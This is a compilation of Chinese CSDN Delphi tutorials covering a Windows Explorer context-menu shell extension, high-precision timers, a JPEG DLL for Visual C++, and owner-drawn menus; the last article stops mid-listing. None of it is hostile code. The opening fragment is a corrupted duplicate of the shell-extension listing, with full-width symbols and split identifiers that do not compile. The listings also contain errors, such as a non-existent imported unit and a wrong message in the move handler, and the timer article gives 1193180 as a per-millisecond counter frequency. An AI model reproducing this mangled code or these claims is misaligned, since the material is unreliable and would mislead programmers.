    //当注册扩展库文件时，添加库到注册表中
    CreateRegKey('＊\shellex', '', '');
    CreateRegKey('＊\shellex\ContextMenuHandlers', '', '');
    CreateRegKey('＊\shellex\ContextMenuHandlers\FileOpreation', '', ClassID);
    //如果操作系统为Windows NT的话
    if (Win32Platform = VER－PLATFORM－WIN32－NT) then
    with TRegistry.Create do
    try
    RootKey := HKEY－LOCAL－MACHINE;
    OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions', True);
    OpenKey('Approved', True);
    WriteString(ClassID, 'Context Menu Shell Extension');
    finally
    Free;
    end;
    end
    else begin
    DeleteRegKey('＊\shellex\ContextMenuHandlers\FileOpreation');
    inherited UpdateRegistry(Register);
    end;
    end;
    initialization
    TContext Menu Factory.Create(Com Server, TContextMenu, Class－ContextMenu,'', 'Context Menu Shell Extension', ciMultiInstance,tmApartment);
    end.
    在OpWindow窗口中加入一个TListBox控件和两个TButton控件，OpWindows.pas的程序清单如下：
    unit opwindow;

    interface
    uses
    Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
    ExtCtrls, StdCtrls,shlobj,shellapi,ActiveX;
    type
    TForm1 = class(TForm)
    ListBox1: TListBox;
    Button1: TButton;
    Button2: TButton;
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    private
    { Private declarations }
    public
     FileList:TStringList;
    { Public declarations }
    end;
    var
     Form1: TForm1;
    implementation
    {＄R ＊.DFM}
    procedure TForm1.FormCreate(Sender: TObject);
    begin
    FileList:=TStringList.Create;
    Button1.Caption :='复制文件';
    Button2.Caption :='移动文件';
    Self.Show;
    end;
    procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
    FileList.Free;
    end;
    procedure TForm1.Button1Click(Sender: TObject);
    var
    sPath:string;
    fsTemp:SHFILEOPSTRUCT;
    i:integer;
    begin
    sPath:=InputBox('文件操作','输入复制路径','c:\windows');
    if sPath<>''then begin
    fsTemp.Wnd := Self.Handle;
    //设置文件操作类型
    fsTemp.wFunc :=FO_COPY;
    //允许执行撤消操作
    fsTemp.fFlags :=FOF－ALLOWUNDO;
    for i:=0 to ListBox1.Items.Count－1 do begin
    //源文件全路径名
    fsTemp.pFrom := PChar(ListBox1.Items.Strings[i]);
    //要复制到的路径
    fsTemp.pTo := PChar(sPath);
    fsTemp.lpszProgressTitle:='拷贝文件';
    if SHFileOperation(fsTemp)<>0 then
    ShowMessage('文件复制失败');
    end;
    end;
    end;
    procedure TForm1.Button2Click(Sender: TObject);
    var
    sPath:string;
    fsTemp:SHFILEOPSTRUCT;
    i:integer;
    begin
    sPath:=InputBox('文件操作','输入移动路径','c:\windows');
    if sPath<>''then begin
    fsTemp.Wnd := Self.Handle;
    fsTemp.wFunc :=FO_MOVE;
    fsTemp.fFlags :=FOF_ALLOWUNDO;
    for i:=0 to ListBox1.Items.Count－1 do begin
    fsTemp.pFrom := PChar(ListBox1.Items.Strings[i]);
    fsTemp.pTo := PChar(sPath);
    fsTemp.lpszProgressTitle:='移动文件';
    if SHFileOperation(fsTemp)<>0 then
    ShowMessage('文件复制失败');
    end;
    end;
    end;
    end.
    点击菜单的Project|Build ContextMenu项，Delphi就会建立Contextmenu.dll文件，这个就是上下文相关菜单程序了。
    使用Regsvr32.exe注册程序，然后在Windows的Explore中在任意的一个或者几个文件中点击鼠标右键，在上下文菜单中就会多一个文件操作的菜单项，点击该项，在弹出窗口的列表中会列出你所选择的所有文件的文件名，你可以选择拷贝文件按钮或者移动文件按钮执行文件操作。
    以上程序在Windows98、Windows2000，Delphi5下运行通过。


CSDN_文档中心_利用Delphi编写Windows外壳扩展

利用Delphi编写Windows外壳扩展
对于操作系统原理比较了解的朋友都会知道，一个完备的操作系统都会提供了一个外壳（Shell），以方便普通的用户
使用操作系统提供的各种功能。Windows（在这里指的是Windows 95\Windows NT4.0以上版本的操作系统）的外壳不但提供
了方便美观的GUI图形界面，而且还提供了强大的外壳扩展功能，大家可能在很多软件中看到这些外壳扩展了。例如在你的
系统中安装了Winzip的话，当你在Windows Explore中鼠标右键点击文件夹或者文件后，在弹出菜单中就会出现Winzip的压
缩菜单。又或者Bullet FTP中在Windows资源管理器中出现的FTP站点文件夹。
Windows支持七种类型的外壳扩展（称为Handler），它们相应的作用简述如下：

    (1)Context menu handlers：向特定类型的文件对象增添上下文相关菜单；

    (2)Drag-and-drop handlers用来支持当用户对某种类型的文件对象进行拖放操作时的OLE数据传输；

    (3)Icon handlers用来向某个文件对象提供一个特有的图标，也可以给某一类文件对象指定图标；

    (4)Property sheet handlers给文件对象增添属性页（就是右键点击文件对象或文件夹对象后，在弹出菜单中选属性
项后出现的对话框），属性页可以为同一类文件对象所共有，也可以给一个文件对象指定特有的属性页；

    (5)Copy-hook handlers在文件夹对象或者打印机对象被拷贝、移动、删除和重命名时，就会被系统调用，通过为Windows
增加Copy-hook handlers，可以允许或者禁止其中的某些操作；

    (6)Drop target handlers在一个对象被拖放到另一个对象上时，就会被系统被调用；

    (7)Data object handlers在文件被拖放、拷贝或者粘贴时，就会被系统被调用。

    Windows的所有外壳扩展都是基于COM(Component Object Model) 组件模型的，外壳是通过接口(Interface)来访问对象的。
外壳扩展被设计成32位的进程中服务器程序，并且都是以动态链接库的形式为操作系统提供服务的。因此，如果要对Windows
的用户界面进行扩充的话，则具备写COM对象的一些知识是十分必要的。 由于篇幅所限，在这里就不介绍COM，读者可以参考
微软的MSDN库或者相关的帮助文档，一个接口可以看做是一个特殊的类，它包含一组函数合过程可以用来操作一个对象。
写好外壳扩展程序后，必须将它们注册才能生效。所有的外壳扩展都必须在Windows注册表的HKEY_CLASSES_ROOT\CLSID键
之下进行注册。在该键下面可以找到许多名字像{0000002F-0000-0000-C000-000000000046}的键，这类键就是全局唯一类标识
符(Guid)。每一个外壳扩展都必须有一个全局唯一类标识符，Windows正是通过此唯一类标识符来找到外壳扩展处理程序的。
在类标识符之下的InProcServer32子键下记录着外壳扩展动态链接库在系统中的位置。与某种文件类型关联的外壳扩展注册在
相应类型的shellex主键下。如果所处的Windows操作系统为Windows NT，则外壳扩展还必须在注册表中的
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ShellExtensions\Approved主键下登记。
编译完外壳扩展的DLL程序后就可以用Windows本身提供的regsvr32.exe来注册该DLL服务器程序了。如果使用Delphi，也可
以在Run菜单中选择Register ActiveX Server来注册。

下面首先介绍一个比较常用的外壳扩展应用：上下文相关菜单，在Windows中，用鼠标右键单击文件或者文件夹时弹出的那
个菜单便称为上下文相关菜单。要动态地在上下文相关菜单中增添菜单项，可以通过写Context Menu Handler来实现。比如大家
所熟悉的WinZip和UltraEdit等软件都是通过编写Context Menu Handler来动态地向菜单中增添菜单项的。如果系统中安装了
WinZip，那么当用右键单击一个名为Windows的文件（夹）时，其上下文相关菜单就会有一个名为Add to Windows.zip的菜单项。
本文要实现的Context Menu Handler与WinZip提供的上下文菜单相似。它将在任意类型的文件对象的上下文相关菜单中添加一个
文件操作菜单项，当点击该项后，接口程序就会弹出一个文件操作窗口，执行文件拷贝、移动等操作。
  编写Context Menu Handler必须实现IShellExtInit、IContextMenu和TComObjectFactory三个接口。IShellExtInit实现
接口的初始化，IContextMenu接口对象实现上下文相关菜单，IComObjectFactory接口实现对象的创建。
下面来介绍具体的程序实现。首先在Delphi中点击菜单的 File|New 项，在New Item窗口中选择DLL建立一个DLL工程文件。
然后点击菜单的 File|New 项，在New Item窗口中选择Unit建立一个Unit文件，点击点击菜单的 File|New 项，在New Item窗口
中选择Form建立一个新的窗口。将将工程文件保存为Contextmenu.dpr ，将Unit1保存为Contextmenuhandle.pas，将Form保存为
OpWindow.pas。
Contextmenu.dpr的程序清单如下：
library contextmenu;
uses
ComServ,
contextmenuhandle in 'contextmenuhandle.pas',
opwindow in 'opwindow.pas' {Form2};

exports
DllGetClassObject,
DllCanUnloadNow,
DllRegisterServer,
DllUnregisterServer;

{$R *.TLB}

{$R *.RES}

begin

end.

Contextmenuhandle的程序清单如下：
unit ContextMenuHandle;

interface
uses Windows,ActiveX,ComObj,ShlObj,Classes;

type
TContextMenu = class(TComObject,IShellExtInit,IContextMenu)
private
FFileName: array[0..MAX_PATH] of Char;
protected
function IShellExtInit.Initialize = SEIInitialize; // Avoid compiler warning
function SEIInitialize(pidlFolder: PItemIDList; lpdobj: IDataObject;
hKeyProgID: HKEY): HResult; stdcall;
function QueryContextMenu(Menu: HMENU; indexMenu, idCmdFirst, idCmdLast,
uFlags: UINT): HResult; stdcall;
function InvokeCommand(var lpici: TCMInvokeCommandInfo): HResult; stdcall;
function GetCommandString(idCmd, uType: UINT; pwReserved: PUINT;
pszName: LPSTR; cchMax: UINT): HResult; stdcall;
end;

const

Class_ContextMenu: TGUID = '{19741013-C829-11D1-8233-0020AF3E97A0}';

{全局唯一标识符(GUID)是一个16字节（128为）的值，它唯一地标识一个接口(interface)}
var
FileList:TStringList;

implementation

uses ComServ, SysUtils, ShellApi, Registry,UnitForm;

function TContextMenu.SEIInitialize(pidlFolder: PItemIDList; lpdobj: IDataObject;
hKeyProgID: HKEY): HResult;
var
StgMedium: TStgMedium;
FormatEtc: TFormatEtc;
FileNumber,i:Integer;
begin
file://如果lpdobj等于Nil，则本调用失败
if (lpdobj = nil) then begin
Result := E_INVALIDARG;
Exit;
end;

file://首先初始化并清空FileList以添加文件
FileList:=TStringList.Create;
FileList.Clear;
file://初始化剪贴版格式文件
with FormatEtc do begin
cfFormat := CF_HDROP;
ptd := nil;
dwAspect := DVASPECT_CONTENT;
lindex := -1;
tymed := TYMED_HGLOBAL;
end;
Result := lpdobj.GetData(FormatEtc, StgMedium);

if Failed(Result) then Exit;

file://首先查询用户选中的文件的个数
FileNumber := DragQueryFile(StgMedium.hGlobal,$FFFFFFFF,nil,0);
file://循环读取，将所有用户选中的文件保存到FileList中
for i:=0 to FileNumber-1 do begin
DragQueryFile(StgMedium.hGlobal, i, FFileName, SizeOf(FFileName));
FileList.Add(FFileName);
Result := NOERROR;
end;

ReleaseStgMedium(StgMedium);
end;

function TContextMenu.QueryContextMenu(Menu: HMENU; indexMenu, idCmdFirst,
idCmdLast, uFlags: UINT): HResult;
begin
Result := 0;
if ((uFlags and $0000000F) = CMF_NORMAL) or
((uFlags and CMF_EXPLORE) <> 0) then begin
// 往Context Menu中加入一个菜单项 ,菜单项的标题为察看位图文件
InsertMenu(Menu, indexMenu, MF_STRING or MF_BYPOSITION, idCmdFirst,
PChar('文件操作'));
// 返回增加菜单项的个数
Result := 1;
end;
end;

function TContextMenu.InvokeCommand(var lpici: TCMInvokeCommandInfo): HResult;
var
frmOP:TForm1;
begin
// 首先确定该过程是被系统而不是被一个程序所调用
if (HiWord(Integer(lpici.lpVerb)) <> 0) then
begin
Result := E_FAIL;
Exit;
end;
// 确定传递的参数的有效性
if (LoWord(lpici.lpVerb) <> 0) then begin
Result := E_INVALIDARG;
Exit;
end;

file://建立文件操作窗口
frmOP:=TForm1.Create(nil);
file://将所有的文件列表添加到文件操作窗口的列表中
frmOP.ListBox1.Items := FileList;
Result := NOERROR;
end;

function TContextMenu.GetCommandString(idCmd, uType: UINT; pwReserved: PUINT;
pszName: LPSTR; cchMax: UINT): HRESULT;
begin
if (idCmd = 0) then begin
if (uType = GCS_HELPTEXT) then
{返回该菜单项的帮助信息，此帮助信息将在用户把鼠标
移动到该菜单项时出现在状态条上。}
StrCopy(pszName, PChar('点击该菜单项将执行文件操作'));
Result := NOERROR;
end
else
Result := E_INVALIDARG;
end;

type
TContextMenuFactory = class(TComObjectFactory)
public
procedure UpdateRegistry(Register: Boolean); override;
end;

procedure TContextMenuFactory.UpdateRegistry(Register: Boolean);
var
ClassID: string;
begin
if Register then begin
inherited UpdateRegistry(Register);
ClassID := GUIDToString(Class_ContextMenu);
file://当注册扩展库文件时，添加库到注册表中
CreateRegKey('*\shellex', '', '');
CreateRegKey('*\shellex\ContextMenuHandlers', '', '');
CreateRegKey('*\shellex\ContextMenuHandlers\FileOpreation', '', ClassID);

file://如果操作系统为Windows NT的话
if (Win32Platform = VER_PLATFORM_WIN32_NT) then
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions', True);
OpenKey('Approved', True);
WriteString(ClassID, 'Context Menu Shell Extension');
finally
Free;
end;
end
else begin
DeleteRegKey('*\shellex\ContextMenuHandlers\FileOpreation');
inherited UpdateRegistry(Register);
end;
end;

initialization
TContextMenuFactory.Create(ComServer, TContextMenu, Class_ContextMenu,
'', 'Context Menu Shell Extension', ciMultiInstance,tmApartment);

end.

在OpWindow窗口中加入一个TListBox控件和两个TButton控件，OpWindows.pas的程序清单如下：
unit opwindow;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls,shlobj,shellapi,ActiveX;

type
TForm1 = class(TForm)
ListBox1: TListBox;
Button1: TButton;
Button2: TButton;
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
FileList:TStringList;
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
FileList:=TStringList.Create;
Button1.Caption :='复制文件';
Button2.Caption :='移动文件';
Self.Show;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
FileList.Free;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
sPath:string;
fsTemp:SHFILEOPSTRUCT;
i:integer;
begin
sPath:=InputBox('文件操作','输入复制路径','c:\windows');
if sPath<>''then begin
fsTemp.Wnd := Self.Handle;
file://设置文件操作类型
fsTemp.wFunc :=FO_COPY;
file://允许执行撤消操作
fsTemp.fFlags :=FOF_ALLOWUNDO;
for i:=0 to ListBox1.Items.Count-1 do begin
file://源文件全路径名
fsTemp.pFrom := PChar(ListBox1.Items.Strings[i]);
file://要复制到的路径
fsTemp.pTo := PChar(sPath);
fsTemp.lpszProgressTitle:='拷贝文件';
if SHFileOperation(fsTemp)<>0 then
ShowMessage('文件复制失败');
end;
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
sPath:string;
fsTemp:SHFILEOPSTRUCT;
i:integer;
begin
sPath:=InputBox('文件操作','输入移动路径','c:\windows');
if sPath<>''then begin
fsTemp.Wnd := Self.Handle;
fsTemp.wFunc :=FO_MOVE;
fsTemp.fFlags :=FOF_ALLOWUNDO;
for i:=0 to ListBox1.Items.Count-1 do begin
fsTemp.pFrom := PChar(ListBox1.Items.Strings[i]);
fsTemp.pTo := PChar(sPath);
fsTemp.lpszProgressTitle:='移动文件';
if SHFileOperation(fsTemp)<>0 then
ShowMessage('文件复制失败');
end;
end;
end;

end.

点击菜单的 Project | Build ContextMenu 项，Delphi就会建立Contextmenu.dll文件，这个就是上下文相关菜单程序了。
使用，Regsvr32.exe 注册程序，然后在Windows的Explore 中在任意的一个或者几个文件中点击鼠标右键，在上下文菜单中就会
多一个文件操作的菜单项，点击该项，在弹出窗口的列表中会列出你所选择的所有文件的文件名，你可以选择拷贝文件按钮或者
移动文件按钮执行文件操作。


CSDN_文档中心_利用Delphi建立精确计时器

www.applevb.com

利用Delphi建立精确计数器

在Windows中的很多场合下编程（例如工业控制、游戏）中需要比较精确的记时器，本文讨论的是在Delphi下实现记时器的若干方法以及它们的精度控制问题。

在Delphi中最常用的是Timer控件，它的设置和使用都非常方便，理论上它的记时精度可以达到1ms(毫秒)。但是众所周知的，实际上Timer在记时间隔小于50ms之下是精度是十分差的。它只适用于对于精度要求不太高的场合。

这里作者要介绍的是两种利用Windows API函数实现精确记时的方法。第一中方法是利用高性能频率记数（作者本人的称呼）法。利用这种方法要使用两个API函数QueryPerformanceFrequency和QueryPerformanceCounter。QueryPerformanceFrequency函数获得高性能频率记数器的震荡频率。

调用该函数后，函数会将系统频率记数器的震荡频率（每毫秒）保存到一个LargeInteger中。不过利用该函数在几台机器上做过试验，结果都是1193180。读者朋友可以在自己的机器上试一下

QueryPerformanceCounter函数获得系统频率记数器的震荡次数，结果也保存到一个Largenteger中。

很显然，如果在计时中首先使用QueryPerformanceFrequency获得高性能频率记数器每毫秒的震荡次数，然后在计时开始时使用QueryPerformanceCounter函数获得当前系统频率记数器的震荡次数。在计时结束时再调用QueryPerformanceCounter函数获得系统频率记数器的震荡次数。将两者相减，再将结果除以频率记数器每毫秒的震荡次数，就可以获得某一事件经过的准确时间。(次数除以频率等于时间)

另外的一种精确记时器的功能是利用多媒体记时器函数（这也是作者的定义，因为这个系列的函数是在Winmm.dll中定义并且是为媒体播放服务的）。

实现多媒体记时器首先要使用timeSetEvent函数建立计时事件。该函数在Delphi中的mmsystem.pas中有定义，定义如下：

function timeSetEvent(uDelay, uResolution: UINT;

lpFunction: TFNTimeCallBack; dwUser: DWORD; uFlags: UINT): MMRESULT; stdcall

函数定义中参数uDelay定义延迟时间，以毫秒为单位，该参数相当于Timer控件的Interval属性。参数uResolution定义记时精度，如果要求尽可能高的精度，要将该参数设置为0；参数lpFunction定义了timeSetEvent函数的回调函数。该函数相当于一个定时中断处理函数，每当经过一个uDelay长度的时间间隔，该函数就会被调用，编程者可以在该函数中加入相应的处理语句。参数dwUser定义用户自定义的回调值，该值将传递给回调函数。参数uFlags定义定时类型，如果要不间断的记时，该值应设置为1。

如果函数调用成功，在系统中建立了一个多媒体记时器对象，每当经过一个uDelay时间后lpFunction指定的函数都会被调用。同时函数返回一个对象标识，如果不再需要记时器则必须要使用timeKillEvent函数删除记时器对象。

由于Windows是一个多任务的操作系统，因此基于API调用的记时器的精度都会受到其它很多因素的干扰。到底这两中记时器的精度如何，我们来使用以下的程序进行验证：

设置三种记时器（Timer控件、高性能频率记数、多媒体记时器）。将它们的定时间隔设置为10毫秒，让它们不停工作直到达到一个比较长的时间（比如60秒），这样记时器的误差会被累计下来，然后同实际经过的时间相比较，就可以得到它们的精度。

下面是具体的检测程序。

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, ExtCtrls,mmSystem;

type

TForm1 = class(TForm)

Edit1: TEdit;

Edit2: TEdit;

Edit3: TEdit;

Button1: TButton;

Button2: TButton;

Timer1: TTimer;

procedure FormCreate(Sender: TObject);

procedure Button1Click(Sender: TObject);

procedure Timer1Timer(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

actTime1,actTime2:Cardinal;

smmCount,sTimerCount,sPCount:Single;

hTimeID:Integer;

iTen:Integer;

proTimeCallBack:TFNTimeCallBack;

procedure TimeProc(uTimerID, uMessage: UINT;

dwUser, dw1, dw2: DWORD) stdcall;

procedure proEndCount;

implementation

{$R *.DFM}

//timeSetEvent的回调函数

procedure proEndCount;

begin

actTime2:=GetTickCount-actTime1;

Form1.Button2.Enabled :=False;

Form1.Button1.Enabled :=TRue;

Form1.Timer1.Enabled :=False;

smmCount:=60;

sTimerCount:=60;

spCount:=-1;

timeKillEvent(hTimeID);

end;

procedure TimeProc(uTimerID, uMessage: UINT;

dwUser, dw1, dw2: DWORD) stdcall;

begin

Form1.Edit2.Text:=FloatToStr(smmCount);

smmCount:=smmCount-0.01;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

Button1.Caption :='开始倒计时';

Button2.Caption :='结束倒计时';

Button2.Enabled :=False;

Button1.Enabled :=True;

Timer1.Enabled :=False;

smmCount:=60;

sTimerCount:=60;

sPCount:=60;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

lgTick1,lgTick2,lgPer:TLargeInteger;

fTemp:Single;

begin

Button2.Enabled :=True;

Button1.Enabled :=False;

Timer1.Enabled :=True;

Timer1.Interval :=10;

proTimeCallback:=TimeProc;

hTimeID:=timeSetEvent(10,0,proTimeCallback,1,1);

actTime1:=GetTickCount;

//获得系统的高性能频率计数器在一毫秒内的震动次数

QueryPerformanceFrequency(lgPer);

fTemp:=lgPer/1000;

iTen:=Trunc(fTemp*10);

QueryPerformanceCounter(lgTick1);

lgTick2:=lgTick1;

sPCount:=60;

while sPCount>0 do begin

QueryPerformanceCounter(lgTick2);

//如果时钟震动次数超过10毫秒的次数则刷新Edit3的显示

If lgTick2 - lgTick1 > iTen Then begin

lgTick1 := lgTick2;

sPCount := sPCount - 0.01;

Edit3.Text := FloatToStr(sPCount);

Application.ProcessMessages;

end;

end;

end;

procedure TForm1.Timer1Timer(Sender: TObject);

begin

Edit1.Text := FloatToStr(sTimerCount);

sTimerCount:=sTimerCount-0.01;

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

proEndCount;

//显示从开始记数到记数实际经过的时间

ShowMessage('实际经过时间'+IntToStr(actTime2)+'毫秒');

end;

end.

运行程序，点击“开始倒记时”按钮，程序开始60秒倒记时，由于上面的程序只涉及了记时器程序的原理而没有将错误处理加入其中，所以不要等60秒倒记时结束。点击“结束倒记时”按钮可以结束倒记时。这时在弹出对话框中会显示实际经过的时间（单位为毫秒），将三个文本框内的时间乘以1000再加上实际经过的时间，越接近60000，则记时精度越高。

下面是在我的机器上的执行结果。

从上面的结果看，由Delphi的Timer控件建立的记时器的精度十分差，无法在实际中使用，而利用高性能频率记数法和多媒体计数器法的误差都在1%以下。考虑到程序中在文本框中显示时间对程序所造成的影响，这个误差在应用中是完全可以忽略的。

另外在运行程序时作者还发现一个问题，如果在倒记时时拖动窗口，文本框中的显示都会停止，而当停止窗口拖放后，多媒体记时器显示会跳过这段时间记时，而其它两种记时器显示倒记时却还是从原来的时间倒数。这说明多媒体记时器是在独立的线程中运行的，不会受到程序的影响。

综合上面的介绍和范例，我们可以看到，如果要建立高精度的记时器，使用多媒体记时器是比较好的选择。而高性能频率记数法比较适合计算某个耗时十分短的过程所消耗的时间（例如分析程序中某个被多次调用的程序段执行时间以优化程序），因为毕竟高性能频率记数的理论可以达到微秒级别。Timer控件虽然精度比上面两者差很多，但是它使用方便，在要求不高的场合它还是最佳选择。

（最后要说的是，以上的结果都是在Windows 9X下获得的，作者在Windows 2000下运行该程序时发现，Timer控件的精度比在Windows 9X下要高出很多，一般误差在5%以下，这说明Windows 2000是一个真正的多任务操作系统。再加上Windows NT\2000的稳定性和易用性，在工业控制或实时检测等领域是一个比较完美的平台）


CSDN_文档中心_利用Delphi为Visual C++添加JPEG图形处理功能

利用Delphi为Visual C++添加JPEG图形处理功能 Visual C++对JPEG等常见图形格式的支持不够一直是为人所诟病的缺陷，相比起来，Delphi/C++ Builder在这方面就要强得多了。由于JPEG是实际应用中经常使用的图形格式，如果你是Visual C++用户的话，自然会想如何让Visual C++能够处理JPEG图形。虽然网络上现在已经有了不少能够处理JPEG图形的Visual C++库，但是别人的东西用起来总有点不那么得心应手，而且经常有一些限制，比如有名的ImageObject库要求必须静态链接到MFC DLL,给使用带来很多不便；如果是ActiveX控制的话，又不得不考虑如何注册等麻烦的问题。实际上，借助于Delphi对JPEG图形的强大处理功能，自己写一段小小的代码，就能够在几分钟内让Visual C++也用上JPEG，DIY的感觉就是不同！ 要用本文介绍的代码，你手头应该有一套Delphi（3.0以上的版本）和一套Visual C++（5.0以上版本）。由于本文的代码非常简单，因此下面的代码不作注释，相信对这两套语言稍有基础的朋友都不难理解。 在Delphi中新建一个DLL工程ImageLib，并添加一个MainFn.pas单元。文件清单如下： //////////////////////////////////// // ImageLib.dpr项目内容 //////////////////////////////////// library ImageLib; uses SysUtils, Classes, MainFn in 'MainFn.pas'; exports CreateJPEGImage, LoadJPEGImage, FreeJPEGImage, DrawJPEGImage; begin end. /////////////////////////////////////////////// // MainFn.pas单元内容 /////////////////////////////////////////////// unit MainFn; interface uses SysUtils, Classes, Windows, Graphics, JPEG; function CreateJPEGImage:TJPEGImage;stdcall;export; function LoadJPEGImage(image:TJPEGImage;szFileName:PChar):LongBool;stdcall;export; procedure FreeJPEGImage(image:TJPEGImage);stdcall;export; procedure DrawJPEGImage(hdc:HDC;x,y:integer;image:TJPEGImage);stdcall;export; implementation function CreateJPEGImage:TJPEGImage; var image : TJPEGImage; begin try image := TJPEGImage.Create; result := image; except result := nil; end; end; function LoadJPEGImage(image:TJPEGImage;szFileName:PChar):LongBool; var strFileName : string; begin try strFileName := StrPas(szFileName); image.LoadFromFile(strFileName); result := True; except result := False; end; end; procedure FreeJPEGImage(image:TJPEGImage); begin image.Free; end; procedure DrawJPEGImage(hdc:HDC;x,y:integer;image:TJPEGImage); var Canvas : TCanvas; begin Canvas := TCanvas.Create; Canvas.Handle := hdc; Canvas.Draw(x,y,image); Canvas.Free; end; end. 项目编译完成后生成的Dll就可以直接在Visual C++中使用了。以下是用Visual C++生成的测试项目内容，使用Dialog Based框架： typedef void* PJPEG; /* function CreateJPEGImage:TJPEGImage;stdcall;export; function LoadJPEGImage(image:TJPEGImage;szFileName:PChar):LongBool; procedure FreeJPEGImage(image:TJPEGImage);stdcall;export; procedure DrawJPEGImage(hdc:HDC;x,y:integer;image:TJPEGImage);stdcall;export; */ typedef PJPEG (__stdcall* CREATEJPEGIMAGE)(); typedef BOOL (__stdcall* LOADJPEGIMAGE)(PJPEG,LPCSTR); typedef void (__stdcall* FREEJPEGIMAGE)(PJPEG); typedef void (__stdcall* DRAWJPEGIMAGE)(HDC,int,int,PJPEG); class CTDlg : public CDialog { ... public: HINSTNACE m_hLib; CREATEJPEGIMAGE pCreateJPEGImage; LOADJPEGIMAGE pLoadJPEGImage; FREEJPEGIMAGE pFreeJPEGImage; DRAWJPEGIMAGE pDrawJPEGImage; } BOOL CTDlg::OnInitDialog() { ... m_hLib = LoadLibrary("ImageLib.dll"); pCreateJPEGImage = (CREATEJPEGIMAGE)GetProcAddress(m_hLib,"CreateJPEGImage"); pLoadJPEGImage = (LOADJPEGIMAGE)GetProcAddress(m_hLib,"LoadJPEGImage"); pFreeJPEGImage = (FREEJPEGIMAGE)GetProcAddress(m_hLib,"FreeJPEGImage"); pDrawJPEGImage = (DRAWJPEGIMAGE)GetProcAddress(m_hLib,"DrawJPEGImage"); } 　 void CTDlg::OnDestroy() { if (m_hLib) FreeLibrary(m_hLib); } void CTDlg::OnPaint() { CPaintDC dc(this); PJPEG pJPEG; pJPEG = (*pCreateJPEGImage)(); if (pJPEG) { if ((*pLoadJPEGImage)(pJPEG,"c:\\test.jpg")) (*pDrawJPEGImage)(dc.m_hDC,0,0,pJPEG); (*pFreeJPEGImage)(pJPEG); } }


CSDN_文档中心_利用Delphi消息处理建立类似Windows开始菜单

www.applevb.com

利用Delphi美化你的菜单

Windows下的很多程序都有十分漂亮的菜单，例如Windows“开始”菜单左方从上到下的长条形的Windows Banner 又或者是向Word那样在每一个菜单条左边都有一个小图标，看到这些很Cool的菜单，你是否觉得自己的菜单显得单调乏味呢？不需要第三方控件，利用Delphi就可以实现上面的功能。

如果要实现自定义菜单就需要在绘制菜单时改变菜单的大小以适应在菜单上绘制图形，然后再在上面绘制自己所需要的菜单效果。在Delphi中，每一个菜单项对应一个TmenuItem控件，这类控件都有两个事件：OnDrawItem和OnMeasureItem，要实现自定义菜单，首先要介绍一下这两个事件：

OnMeasureItem事件的定义如下：

type TMenuMeasureItemEvent = procedure (Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer) of object;

property OnMeasureItem: TMenuMeasureItemEvent;

该事件在菜单条监测自身的尺寸时产生，其中参数Acanvas定义绘制的绘图对象，参数Width、Height制定菜单项的默认尺寸，注意到这两个定义前的var了吗，说明你可以在OnMeasureItem事件处理函数中改变这两个值，也就是改变菜单的大小。

OnDrawItem事件的定义如下：

type TMenuDrawItemEvent = procedure (Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean) of object;

property OnDrawItem: TMenuDrawItemEvent;

该事件在菜单绘制时引发，其中参数Acanvas定义菜单绘制对象，参数Arect制定菜单的绘制区域，参数Selected定义当前菜单项是否被选中。

从上面的介绍可以看到，要实现自定义的菜单，只要在OnMeasureItem事件中编写代码改变菜单项的尺寸，然后在OnDrawItem事件中绘制自己需要的效果就可以了。

下面我痛过具体的范例来做说明，这个范例是使自己的菜单实现象Windows开始菜单一样的显示Banner条的功能。同时这个程序还能实现对被选中的菜单条进行渐变色填充（就象3721中文网址软件的任务栏菜单那样）。程序的思路是这样的，首先建立一个长条型的位图，然后在每一个菜单条的OnMeasureItem事件中根据要显示在菜单上的文本和图像以及程序的需要改变菜单项的宽度和高度，然后在OnDrawItem事件中将位图中的相应部分拷贝到菜单项上。如果该菜单条被选中，首先要改变Acanvas参数的画刷颜色，然后再依次填充菜单条上的相应部分，这样就实现了对选中的菜单条实现渐变色填充。最后将文本输出到菜单条上。

下面来介绍具体的程序，首先利用图像软件建立一个长条型的位图文件（你可以根据你的需要设定图像的高宽比，在我的图像中是10:1）。在Delphi中建立一个新的工程，在Form1中加入一个TImage控件，将控件的AutoSize属性设置为True。然后在Form1中加入一个TMainMenu控件，将它的OwnerDraw属性设置为True（这一点很重要，否则程序无法实现）在该TMainMenu下加入6个TMenuItem对象（鼠标右健点击TMainMenu控件，然后点击弹出菜单的Menu Designer 项，就可以在设计窗口中添加菜单条了），将它们的Name属性分别设置为 Caption1、Caption2、…、Caption6。

下面是具体的程序清单：

unit OwnerMenu;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

Menus, ExtCtrls, StdCtrls, ImgList;

type

TForm1 = class(TForm)

MainMenu1: TMainMenu;

Main1: TMenuItem;

Caption1: TMenuItem;

Caption2: TMenuItem;

Caption3: TMenuItem;

Caption4: TMenuItem;

